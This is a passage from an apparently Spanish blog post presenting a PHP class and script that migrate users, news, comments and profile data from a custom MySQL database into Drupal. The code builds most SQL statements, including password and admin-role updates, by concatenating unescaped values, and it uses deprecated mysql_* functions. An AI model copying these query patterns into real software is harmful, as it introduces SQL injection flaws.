<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">taxonomy</span> = self::_convertTaxonomy<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">comment</span> = <span class="nu0">2</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">created</span> = <a href="http://www.php.net/strtotime"><span class="kw3">strtotime</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;fecha&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[node:&quot;</span>.<span class="re0">$type</span>.<span class="st0">&quot;] &quot;</span>.<a href="http://www.php.net/substr"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$node</span>-&gt;<span class="me1">title</span>, <span class="nu0">0</span>, <span class="nu0">30</span><span class="br0">&#41;</span>.<span class="st0">&quot;&#8230; (&quot;</span>.<a href="http://www.php.net/substr"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$node</span>-&gt;<span class="me1">body</span>, <span class="nu0">0</span>, <span class="nu0">20</span><span class="br0">&#41;</span>.<span class="st0">&quot; &#8230;) [tax:{&quot;</span>.<a href="http://www.php.net/implode"><span class="kw3">implode</span></a><span class="br0">&#40;</span><span class="st0">&quot;;&quot;</span>, <span class="re0">$node</span>-&gt;<span class="me1">taxonomy</span><span class="br0">&#41;</span>.<span class="st0">&quot;},uid:&quot;</span>.<span class="re0">$node</span>-&gt;<span class="me1">uid</span>.<span class="st0">&quot;]<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;news&#8217;</span><span class="br0">&#93;</span>++;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; node_save<span class="br0">&#40;</span><span class="re0">$node</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$q</span> = <span class="st0">&quot;INSERT INTO dp_node_access(nid, grant_view, realm) VALUES((SELECT MAX(nid) FROM dp_node),1, &#8216;all&#8217;)&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span> <span class="re0">$q</span> <span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> insertCommentProfile<span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[comment;autor:&quot;</span>.<span class="re0">$this</span>-&gt;<span class="me1">id_uid</span><span class="br0">&#91;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">'autor'</span><span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="st0">&quot;,uid:&quot;</span>.<span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">'userid'</span><span class="br0">&#93;</span>.<span class="st0">&quot;] (&quot;</span>.<a href="http://www.php.net/rtrim"><span class="kw3">rtrim</span></a><span class="br0">&#40;</span><a href="http://www.php.net/substr"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;comentario&#8217;</span><span class="br0">&#93;</span>, <span class="nu0">0</span>, <span class="nu0">30</span><span class="br0">&#41;</span><span class="br0">&#41;</span>.<span class="st0">&quot; &#8230;)<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO {comments} (pid, uid, hostname, comment, status, name, mail, homepage, timestamp) VALUES(%d, %d, &#8216;%s&#8217;, &#8216;%s&#8217;, %d, &#8216;%s&#8217;, &#8216;%s&#8217;, &#8216;%s&#8217;, %d)&quot;</span>, <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;userid&#8217;</span><span class="br0">&#93;</span>, <span class="re0">$this</span>-&gt;<span class="me1">id_uid</span><span class="br0">&#91;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;autor&#8217;</span><span class="br0">&#93;</span><span class="br0">&#93;</span>, <span class="st0">&#8217;127.0.0.1&#8242;</span>, <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;comentario&#8217;</span><span class="br0">&#93;</span>, <span class="nu0">1</span>, <span class="st0">&#8221;</span>, <span class="st0">&#8221;</span>, <span class="st0">&#8221;</span>, <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;comments&#8217;</span><span class="br0">&#93;</span>++;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> _convertTaxonomy<span class="br0">&#40;</span><span class="re0">$taxonomy</span> = <span class="kw2">NULL</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">29</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">30</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">31</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">32</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">33</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">34</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">35</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span> <span class="br0">&#40;</span><span class="re0">$taxonomy</span><span class="br0">&#41;</span>?<span class="re0">$_categories</span><span class="br0">&#91;</span>&#8211;<span class="re0">$taxonomy</span><span class="br0">&#93;</span>:<span class="nu0">35</span> <span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> _setPassword<span class="br0">&#40;</span><span class="re0">$id</span>, <span class="re0">$md5</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;UPDATE dp_users SET pass = &#8216;&quot;</span>.<span class="re0">$md5</span>.<span class="st0">&quot;&#8217; WHERE (name != &#8216;asdf&#8217; AND name != &#8216;admin&#8217;) AND uid = &quot;</span>.<span class="re0">$id</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[DP_SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="re0">$query</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> _setAdmin<span class="br0">&#40;</span><span class="re0">$id</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="st0">&quot;dp_users_roles&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//$query = &quot;UPDATE &quot;.$table.&quot; SET rid = 4 WHERE uid = &quot;.$id; # 4 es el que corresponde segun SELECT * FROM dp_role</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;INSERT INTO &quot;</span>.<span class="re0">$table</span>.<span class="st0">&quot;(rid, uid) VALUES(4, &quot;</span>.<span class="re0">$id</span>.<span class="st0">&quot;)&quot;</span>; <span class="co2"># 2 es el que corresponde segun SELECT * FROM dp_role</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[DP_SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="re0">$query</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> _setUserRole<span class="br0">&#40;</span><span class="re0">$id</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="st0">&quot;dp_users_roles&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;INSERT INTO &quot;</span>.<span class="re0">$table</span>.<span class="st0">&quot;(rid, uid) VALUES(2, &quot;</span>.<span class="re0">$id</span>.<span class="st0">&quot;)&quot;</span>; <span class="co2"># 2 es el que corresponde segun SELECT * FROM dp_role</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[DP_SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="re0">$query</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> _configureProfile<span class="br0">&#40;</span><span class="re0">$info</span>, <span class="re0">$_uid</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$uid</span> = <span class="re0">$info</span><span class="br0">&#91;</span><span class="st0">&#8216;id&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT a.nombre_esp FROM cat_paises a LEFT JOIN usr_users b ON b.pais = a.id WHERE b.id = &quot;</span>.<span class="re0">$uid</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_r</span> = <a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span>sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&#8216;query&#8217;</span><span class="br0">&#41;</span>, <span class="nu0">0</span>, <span class="st0">&#8216;nombre_esp&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO dp_profile_values(fid, uid, value) VALUES(8, &quot;</span>.<span class="re0">$_uid</span>.<span class="st0">&quot;, &#8216;&quot;</span>.<span class="re0">$_r</span>.<span class="st0">&quot;&#8217;)&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT a.nombre_esp FROM paises a LEFT JOIN users b ON b.pais_residencia = a.id WHERE b.id = &quot;</span>.<span class="re0">$uid</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_r</span> = <a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span>sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&#8216;query&#8217;</span><span class="br0">&#41;</span>, <span class="nu0">0</span>, <span class="st0">&#8216;nombre_esp&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO dp_profile_values(fid, uid, value) VALUES(9, &quot;</span>.<span class="re0">$_uid</span>.<span class="st0">&quot;, &#8216;&quot;</span>.<span class="re0">$_r</span>.<span class="st0">&quot;&#8217;)&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$query = &quot;SELECT a.profesion FROM users a WHERE a.id = &quot;.$uid;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $_r = mysql_result(sqlExec($query, &#8216;query&#8217;), 0, &#8216;profesion&#8217;);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query(&quot;INSERT INTO dp_profile_values(fid, uid, value) VALUES(3, &quot;.$_uid.&quot;, &#8216;&quot;.$_r.&quot;&#8217;)&quot;);*/</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT a.nombre FROM cat_usr a LEFT JOIN usr_users b ON b.categoria = a.id WHERE b.id = &quot;</span>.<span class="re0">$uid</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_r</span> = <a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span>sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&#8216;query&#8217;</span><span class="br0">&#41;</span>, <span class="nu0">0</span>, <span class="st0">&#8216;nombre&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO dp_profile_values(fid, uid, value) VALUES(4, &quot;</span>.<span class="re0">$_uid</span>.<span class="st0">&quot;, &#8216;&quot;</span>.<span class="re0">$_r</span>.<span class="st0">&quot;&#8217;)&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT a.subcategoria_es FROM areas_ciencia_subcat a, usr_users b WHERE b.area_ciencia_subcat != 0 AND b.area_ciencia_subcat = a.id_subcat AND b.id = &quot;</span>.<span class="re0">$_uid</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$_r</span> = <a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span>sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&#8216;query&#8217;</span><span class="br0">&#41;</span>, <span class="nu0">0</span>, <span class="st0">&#8216;subcategoria_es&#8217;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="st0">&quot;UPDATE dp_profile_values SET value = &#8216;&quot;</span>.<span class="re0">$_r</span>.<span class="st0">&quot;&#8217; WHERE fid = 7 AND uid = &quot;</span>.<span class="re0">$_uid</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query(&quot;INSERT INTO dp_profile_values(fid, uid, value) VALUES(7, &quot;.$_uid.&quot;, &#8216;&quot;.$_r.&quot;&#8217;)&quot;);</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Esta clase nos permite crear una instancia para trabajar con Drupal y de esta forma poder migrar usuarios, contenidos, asignar taxonomias/categorias, resetear claves, insertar comentarios, etc. Cada método público debe ser llamado pasando como argumento un <em>array</em> con la información que desea ser insertada. Por ejemplo, una llamda al método <em>createUser</em>:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$_users</span> = <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;SELECT * FROM usuarios&quot;</span>, <span class="re0">$link</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$_users_row</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$_users</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Llamada a API drupal para crear usuario</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$drupal</span>-&gt;<span class="me1">createUser</span><span class="br0">&#40;</span><span class="re0">$_users_row</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Sencillamente, lo que hace este pedazo de código es consultar en una base de datos por todos los usuarios y posteriormente, por cada registro encontrado, llamar al método &#8220;createUsers&#8221; pasándole como argumento el row correspondiente al ciclo.</p>
<p>Les dejo el script &#8220;Migrar.php&#8221; que instancia la clase Drupal y hace uso de sus métodos:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* </span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* Lunes, 21 de Septiembre del 2009.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*</span></div>
</li>
<li class="li2">
<div class="de2"><span class="coMULTI">&nbsp;* Migrador de plataformas para</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* Drupal.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*/</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="co1">// Config</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">require_once</span><span class="br0">&#40;</span><span class="st0">&quot;Config.php&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$conexion</span> = <a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="re0">$host</span>, <span class="re0">$username</span>, <span class="re0">$password</span><span class="br0">&#41;</span> OR <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">&quot;Error al conectar a la base de datos.<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="co1">// Llamada a nuestro wrapper</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">require_once</span><span class="br0">&#40;</span><span class="st0">&quot;Drupal.class.php&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span>!<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="re0">$database</span>, <span class="re0">$conexion</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Error al seleccionar la base de datos.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">else</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$start</span> = <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$drupal</span> = <span class="kw2">new</span> Drupal<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Usuarios</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="st0">&quot;usr_users&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT * FROM &quot;</span>.<span class="re0">$table</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_users</span> = sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&quot;print_query&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; getRows<span class="br0">&#40;</span><span class="re0">$_users</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$_users_row</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$_users</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Llamada a API drupal para crear usuario</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$drupal</span>-&gt;<span class="me1">createUser</span><span class="br0">&#40;</span><span class="re0">$_users_row</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Fin</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="st0">&quot;infoc_news&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT * FROM &quot;</span>.<span class="re0">$table</span>.<span class="st0">&quot; WHERE autor = &quot;</span>.<span class="re0">$_users_row</span><span class="br0">&#91;</span><span class="st0">&#8216;id&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot; ORDER BY fecha&quot;</span>;</div>
</li>
<li class="li1">
